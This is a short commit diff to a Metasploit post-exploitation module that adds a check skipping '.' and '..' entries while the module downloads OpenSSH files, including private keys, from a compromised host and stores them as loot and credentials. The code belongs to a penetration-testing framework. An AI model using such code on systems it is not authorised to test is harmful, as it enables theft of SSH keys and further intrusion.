Don't try to download '.' or '..' as files

bug/bundler_fix
James Lee 2013-02-08 11:25:17 -06:00
parent 0ad548a777
commit e3ee0d7913
1 changed files with 2 additions and 1 deletions

View File

@ -61,11 +61,12 @@ class Metasploit3 < Msf::Post
end
files.each do |file|
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
next if [".", ".."].include?(file)
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
"ssh_#{file}", "OpenSSH #{file} File")
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
# If the key is encrypted, this will fail and it won't be stored as a
# cred. That's ok because we can't really use encrypted keys anyway.